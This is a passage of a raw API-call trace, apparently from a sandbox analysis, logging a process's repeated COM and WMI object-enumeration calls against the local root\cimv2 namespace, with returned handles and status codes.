0x80004002 [0067.241] IUnknown:AddRef (This=0x6101f58) returned 0x3 [0067.241] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.241] IUnknown:QueryInterface (in: This=0x6101f58, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6101f5c) returned 0x0 [0067.241] IMarshal:GetUnmarshalClass (in: This=0x6101f5c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.242] IUnknown:Release (This=0x6101f5c) returned 0x3 [0067.242] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.242] IUnknown:AddRef (This=0x6101f58) returned 0x4 [0067.242] IUnknown:QueryInterface (in: This=0x6101f58, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.242] IUnknown:Release (This=0x6101f58) returned 0x3 [0067.242] IUnknown:Release (This=0x6101f58) returned 0x2 [0067.242] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.242] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.242] IUnknown:AddRef (This=0x6101f58) returned 0x3 [0067.242] IUnknown:QueryInterface (in: This=0x6101f58, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6101f58) returned 0x0 [0067.242] IUnknown:Release (This=0x6101f58) returned 0x3 [0067.242] IUnknown:Release (This=0x6101f58) returned 0x2 [0067.242] IUnknown:Release (This=0x6101f58) returned 0x1 [0067.242] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.242] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.242] IUnknown:AddRef (This=0x6101f58) returned 0x2 [0067.243] IWbemClassObject:Get (in: This=0x6101f58, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.243] IWbemClassObject:Get (in: This=0x6101f58, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.243] IWbemClassObject:Get (in: This=0x6101f58, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.243] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.243] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.243] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.243] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.243] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.243] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x61020f0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.244] IUnknown:QueryInterface (in: This=0x61020f0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x61020f0) returned 0x0 [0067.244] IUnknown:QueryInterface (in: This=0x61020f0, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.244] IUnknown:QueryInterface (in: This=0x61020f0, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.244] IUnknown:AddRef (This=0x61020f0) returned 0x3 [0067.245] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.245] IUnknown:QueryInterface (in: This=0x61020f0, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x61020f4) returned 0x0 [0067.245] IMarshal:GetUnmarshalClass (in: This=0x61020f4, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.245] IUnknown:Release (This=0x61020f4) returned 0x3 [0067.245] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.245] IUnknown:AddRef (This=0x61020f0) returned 0x4 [0067.245] IUnknown:QueryInterface (in: This=0x61020f0, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.245] IUnknown:Release (This=0x61020f0) returned 0x3 [0067.245] IUnknown:Release (This=0x61020f0) returned 0x2 [0067.245] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.245] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.245] IUnknown:AddRef (This=0x61020f0) returned 0x3 [0067.245] IUnknown:QueryInterface (in: This=0x61020f0, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x61020f0) returned 0x0 [0067.245] IUnknown:Release (This=0x61020f0) returned 0x3 [0067.245] IUnknown:Release (This=0x61020f0) returned 0x2 [0067.245] IUnknown:Release (This=0x61020f0) returned 0x1 [0067.245] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.245] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.245] IUnknown:AddRef (This=0x61020f0) returned 0x2 [0067.246] IWbemClassObject:Get (in: This=0x61020f0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.246] IWbemClassObject:Get (in: This=0x61020f0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.246] IWbemClassObject:Get (in: This=0x61020f0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.246] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.246] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.246] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.246] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.246] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.246] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6102288, puReturned=0x2e27944*=0x1) returned 0x0 [0067.247] IUnknown:QueryInterface (in: This=0x6102288, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6102288) returned 0x0 [0067.247] IUnknown:QueryInterface (in: This=0x6102288, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.247] IUnknown:QueryInterface (in: This=0x6102288, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.247] IUnknown:AddRef (This=0x6102288) returned 0x3 [0067.247] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.247] IUnknown:QueryInterface (in: This=0x6102288, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x610228c) returned 0x0 [0067.247] IMarshal:GetUnmarshalClass (in: This=0x610228c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.247] IUnknown:Release (This=0x610228c) returned 0x3 [0067.247] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.247] IUnknown:AddRef (This=0x6102288) returned 0x4 [0067.247] IUnknown:QueryInterface (in: This=0x6102288, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.248] IUnknown:Release (This=0x6102288) returned 0x3 [0067.248] IUnknown:Release (This=0x6102288) returned 0x2 [0067.248] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.248] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.248] IUnknown:AddRef (This=0x6102288) returned 0x3 [0067.248] IUnknown:QueryInterface (in: This=0x6102288, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6102288) returned 0x0 [0067.248] IUnknown:Release (This=0x6102288) returned 0x3 [0067.248] IUnknown:Release (This=0x6102288) returned 0x2 [0067.248] IUnknown:Release (This=0x6102288) returned 0x1 [0067.248] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.248] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.248] IUnknown:AddRef (This=0x6102288) returned 0x2 [0067.248] IWbemClassObject:Get (in: This=0x6102288, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.248] IWbemClassObject:Get (in: This=0x6102288, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.249] IWbemClassObject:Get (in: This=0x6102288, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.249] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.249] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.249] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.249] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.249] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.249] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6102420, puReturned=0x2e27944*=0x1) returned 0x0 [0067.249] IUnknown:QueryInterface (in: This=0x6102420, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6102420) returned 0x0 [0067.250] IUnknown:QueryInterface (in: This=0x6102420, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.250] IUnknown:QueryInterface (in: This=0x6102420, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.250] IUnknown:AddRef (This=0x6102420) returned 0x3 [0067.250] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.250] IUnknown:QueryInterface (in: This=0x6102420, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6102424) returned 0x0 [0067.250] IMarshal:GetUnmarshalClass (in: This=0x6102424, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.250] IUnknown:Release (This=0x6102424) returned 0x3 [0067.250] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.250] IUnknown:AddRef (This=0x6102420) returned 0x4 [0067.250] IUnknown:QueryInterface (in: This=0x6102420, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.250] IUnknown:Release (This=0x6102420) returned 0x3 [0067.250] IUnknown:Release (This=0x6102420) returned 0x2 [0067.250] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.250] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.250] IUnknown:AddRef (This=0x6102420) returned 0x3 [0067.250] IUnknown:QueryInterface (in: This=0x6102420, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6102420) returned 0x0 [0067.250] IUnknown:Release (This=0x6102420) returned 0x3 [0067.250] IUnknown:Release (This=0x6102420) returned 0x2 [0067.251] IUnknown:Release (This=0x6102420) returned 0x1 [0067.251] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.251] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.251] IUnknown:AddRef (This=0x6102420) returned 0x2 [0067.251] IWbemClassObject:Get (in: This=0x6102420, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.251] IWbemClassObject:Get (in: This=0x6102420, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.251] IWbemClassObject:Get (in: This=0x6102420, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.251] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.251] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.251] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.251] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.251] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.251] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x61025b8, puReturned=0x2e27944*=0x1) returned 0x0 [0067.252] IUnknown:QueryInterface (in: This=0x61025b8, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x61025b8) returned 0x0 [0067.252] IUnknown:QueryInterface (in: This=0x61025b8, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.252] IUnknown:QueryInterface (in: This=0x61025b8, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.252] IUnknown:AddRef (This=0x61025b8) returned 0x3 [0067.252] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.252] IUnknown:QueryInterface (in: This=0x61025b8, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x61025bc) returned 0x0 [0067.253] IMarshal:GetUnmarshalClass (in: This=0x61025bc, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.253] IUnknown:Release (This=0x61025bc) returned 0x3 [0067.253] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.253] IUnknown:AddRef (This=0x61025b8) returned 0x4 [0067.253] IUnknown:QueryInterface (in: This=0x61025b8, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.253] IUnknown:Release (This=0x61025b8) returned 0x3 [0067.253] IUnknown:Release (This=0x61025b8) returned 0x2 [0067.253] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.253] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.253] IUnknown:AddRef (This=0x61025b8) returned 0x3 [0067.253] IUnknown:QueryInterface (in: This=0x61025b8, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x61025b8) returned 0x0 [0067.253] IUnknown:Release (This=0x61025b8) returned 0x3 [0067.253] IUnknown:Release (This=0x61025b8) returned 0x2 [0067.253] IUnknown:Release (This=0x61025b8) returned 0x1 [0067.253] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.253] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.253] IUnknown:AddRef (This=0x61025b8) returned 0x2 [0067.253] IWbemClassObject:Get (in: This=0x61025b8, wszName="__GENUS", 